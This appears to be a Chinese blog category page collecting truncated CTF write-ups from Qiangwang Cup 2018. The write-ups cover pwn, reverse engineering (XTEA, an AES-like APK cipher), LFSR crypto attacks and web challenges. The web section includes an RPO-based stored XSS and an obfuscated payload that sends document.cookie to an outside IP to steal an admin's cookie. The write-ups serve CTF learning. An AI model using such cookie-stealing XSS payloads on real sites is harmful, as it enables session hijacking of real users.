Category - 强网杯2018

> 一拳溢出就能锤爆ASLR 赛后几天偷看了一点WP,终于把这道*最基础*的题目做出来了,赶紧挤一点时间记录一下,不然就白做了。 ![code](https://leanote.com/api/file/getImage?fileId=5ac0f2feab6441479700133b) 漏洞真是一眼就能看出来,连`gets`这种打死都不能用的过气函数都用上了,明显就是一个栈上面的溢出,而且还不限
漏洞的位置十分明显,删除操作后没有把列表中的指针清零,导致可以进行UAF或者Double free。 ![](https://leanote.com/api/file/getImage?fileId=5ab83a33ab644112f1000218) 程序中没有任何输出语句,所以才叫做silent,不过好在也不需要泄露任何地址,程序中已经给了`system`函数,直接调用它的plt地址就可以了
这个也是一道UAF的题目,漏洞出现在 ![](https://leanote.com/api/file/getImage?fileId=5ab83a42ab644112f1000222) 可以看到free后面没有把指针填零,比较麻烦的是程序的保护全开 ``` Arch: amd64-64-little RELRO: Full RELRO Stack:

题目是个64位的exe,IDA打开发现很多反调试、反vm的内容,熟悉的检测mac、检测productid等操作:

绕过反调试后,最终只有几步:

以为是vmp,动态跟了下发现关键点不在这里,往回找发现一个可疑函数:

在判断不是virtualbox运行环境后,调用了一个函数,跟进去,发现在经过一些检查还有打开文件等操作后,有一段算法:

搜索特征值0x61C88647发现一篇文章介绍说作者为了避免程序被通过搜索特征值0x9e3779b9识别出xtea算法,通常会使用0x61C88647(-0x9e3779b9)代替,同时wiki找到xtea的算法实现,也一一吻合:

提取对应的key值:

写解密程序即可:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>

#define XTEA_KEY_SIZE			16
#define XTEA_BLOCK_SIZE			16
#define BLOCKS_TO_ENCRYPT		8

void xtea_encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
	unsigned int i;
	uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
	for (i = 0; i < num_rounds; i++)
	{
		v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
		sum += delta;
		v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
	}
	v[0] = v0; v[1] = v1;
}

void xtea_decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
	unsigned int i;
	uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = de

ai-nimals

1.题目给了一个py脚本,读脚本可知,用base64加密图片,传给服务器。判断和原图是否相同,长度必须相同,里面内容最多有config.diff_chars不同,hint中config.diff_chars的值为1024。接着利用tensorflow训练的一个模型来判断,图片中是何种动物,训练的模型给了一个GitHub地址。

2.判断是否输出的条件为if top_k[0] == 1:,根据在本机训练模型试验的结果,意思是:判断是否为狗的几率最大,就输出flag。显然与题目本意不同,所以我们只需要将给我们的原图base64之后发过去就好了。

3.发包过去的时候要注意,不能一次性全部发过去,否则会出错,所以我们每次发送1024,发一个包暂停0.5秒,最后即可得到flag。(如果出错,重试几次就好)脚本如下:

  1. from pwn import *
  2. from time import sleep
  3. img = open('./basque-shepherd-dog.jpg', 'rb').read()
  4. img_base64 = base64.b64encode(img)
  5. conn = remote('117.50.13.213', 12345)
  6. size = 0
  7. while size < len(img_base64):
  8. conn.send(img_base64[size:size+1024])
  9. size += 1024
  10. print(size)
  11. sleep(0.5)
  12. conn.interactive()

图片标题

题目是一个apk,功能是对图片进行加密,而在这题中要做的就是对加密(lock)的图片进行解密。

打开发现主要的加密部分在libnative.so里,

函数为enc(),参数有输入文件名,输出文件名以及密钥key,key为签名md5值,动态调试得到“f8c49056e4ccf9a11e090eaf471f418d”;

跟踪发现enc函数用了AES的s_box,猜测与aes有关,但仔细查看发现有区别。关键函数有如下几个:



主要需要对以上几个函数逆向,bytexor()直接再次加密就可以逆回去,singletable()与aes的单表置换有关,使用aes的inv_s_box表逆回去,

substitution()也是置换,反置换回去。做的时候遇到些问题主要卡在sub_162c上了,但是之后发现对这个函数逆向只要再加密3次就还原了(1+3

共4次加密回到原输入)。

所以对这几个函数逆向有:

 

 

 

解密lock图片有:

 贴上代码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "cdefs.h"

BYTE byte_36E4[] = { 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B
,0xFE,0xD7,0xAB,0x76,0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF
,0x9C,0xA4,0x72,0xC0,0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1
,0x71,0xD8,0x31,0x15,0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2
,0xEB,0x27,0xB2,0x75,0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3
,0x29,0xE3,0x2F,0x84,0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39
,0x4A,0x4C,0x58,0xCF,

题目是一个apk,对输入字符串进行验证,使用jeb打开可以发现验证逻辑为:

逻辑很清晰,可爆破验证得到flag为"flag{MAth_i&_GOOd_DON7_90V_7hInK?"(需添加‘}’)。

贴上代码如下:

#include <stdio.h>

int main()
{
    int a[] = { 0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 
        563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 
        341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 
        210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 
        534844356, 427514172, 864054312 };
    int b[] = { 13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694,
        20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026,
        31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108 };
    int c[] = { 38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454,
        28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27

签到

复制黏贴flag

web

web签到

过第一个的payload
图片1

过第二个的payload
就是直接从网上找md5完全相等的碰撞。
图片2

Share your mind

本来以为是ssrf,但是经过多次尝试都没有任何突破
后来在群里看到管理员发了这个截图
![图片3]
图片标题
再结合
![图片4]
图片标题
这个页面submmit之后提示 管理员会很快审核这个东西,这感觉很明显就是要我们打管理员cookie啊,于是就想着去找xss,找了半天没找到,于是上网找了很多资料,最后从这篇文章http://www.qingpingshan.com/pc/aq/240597.html里面得到了灵感,感觉跟rpo技术有关,于是看了相关的资料。
并且最后发现在write article中配合rpo可以构造出xss
如下
![图片5]
图片标题
这个存在之后可以看到id为666
![图片6]
图片标题
配合rpo技术 访问这个链接就能触发xss
http://39.107.33.96:20000/index.php/view/article/666/%2f..%2f..%2f..%2f..%2f
![图片7]
图片标题

下面就很常规套路了,打cookie
在写文章的地方写上打cookie代码

  1. function poc() { var img_2 = document.createElement(String.fromCharCode(105, 109, 103)); img_2.src = String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 49, 49, 57, 46, 50, 57, 46, 49, 57, 49, 46, 50, 48, 48, 47,63, 99, 111, 111, 107, 105, 101, 61)+ escape(document.cookie); } setTimeout(poc, 2000);

然后在reports处提交这个url给管理员审核
http://39.107.33.96:20000/index.php/view/arti

streamgame124最大的特点在于明文空间很小,例如1,密钥长度是19位二进制数,即有52万个可能的结果,对于现代计算机来说,完全可以在短时间内爆破完成,相比思考问题的解法,直接爆破显得更加经济。

stream3就不一样了,一打开发现密钥是18位十六进制,这时候任何爆破都不能奏效了,就得考虑更合适的解法。

这里用的是correlation attack,当一串密钥流是通过多个lfsr独立生成后再通过代数操作结合在一起的时候就可以用这种攻击方式。本质上是一种分治的操作,即把各个密钥单独算出来,首先得观察三个密钥流的结合操作:

  1. def single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask):
  2. (R1_NEW, x1) = lfsr(R1, R1_mask)
  3. (R2_NEW, x2) = lfsr(R2, R2_mask)
  4. (R3_NEW, x3) = lfsr(R3, R3_mask)
  5. return R1_NEW, R2_NEW, R3_NEW, (x1*x2)^((x2^1)*x3)
  6. # x1 x2 x3 out
  7. # 0 0 0 0
  8. # 0 0 1 1
  9. # 0 1 0 0
  10. # 0 1 1 0
  11. # 1 0 0 0
  12. # 1 0 1 1
  13. # 1 1 0 1
  14. # 1 1 1 1
  15. # out is more related to x1 and x3, but not x2

从下面的表格中可以看出,x1、x3和out更加有关联,表现在x1和out同时相等的频率有6/8,而x2只有4/8,约等于随机的二进制组合。因此,r1和r3可以单独通过correlation attack求出来,最后再用brute force找出r2。

  1. # from flag import flag
  2. # assert flag.startswith("flag{")
  3. # assert flag.endswith("}")
  4. # assert len(flag)==24
  5. def lfsr(R, mask):
  6. output = (R << 1) & 0xfffff

streamgame1

考虑到明文空间很小,直接爆破就行,大概用了1分钟就找到秘钥了。

  1. # from flag import flag
  2. # assert flag.startswith("flag{")
  3. # assert flag.endswith("}")
  4. # assert len(flag) == 25
  5. def lfsr(R, mask):
  6. output = (R << 1) & 0xffffff
  7. i = R & mask & 0xffffff
  8. lastbit = 0
  9. while i != 0:
  10. lastbit ^= (i & 1)
  11. i = i >> 1
  12. output ^= lastbit
  13. return (output, lastbit)
  14. # R = int(flag[5:-1], 2) # flag is 01 string, len 19
  15. mask = 0b1010011000100011100 # len mask == len flag
  16. def encrypt(R):
  17. ret = ''
  18. for i in range(12):
  19. tmp = 0
  20. for j in range(8):
  21. (R, out) = lfsr(R, mask)
  22. tmp = (tmp << 1) ^ out
  23. ret += chr(tmp)
  24. return ret
  25. def brute_force():
  26. with open('key', 'rb') as r:
  27. cipher = r.read()
  28. for i in range(2**18, 2**19):
  29. print i
  30. if encrypt(i) == cipher:
  31. raw_input()

flag{1110101100001101011}

    Page 1 of 2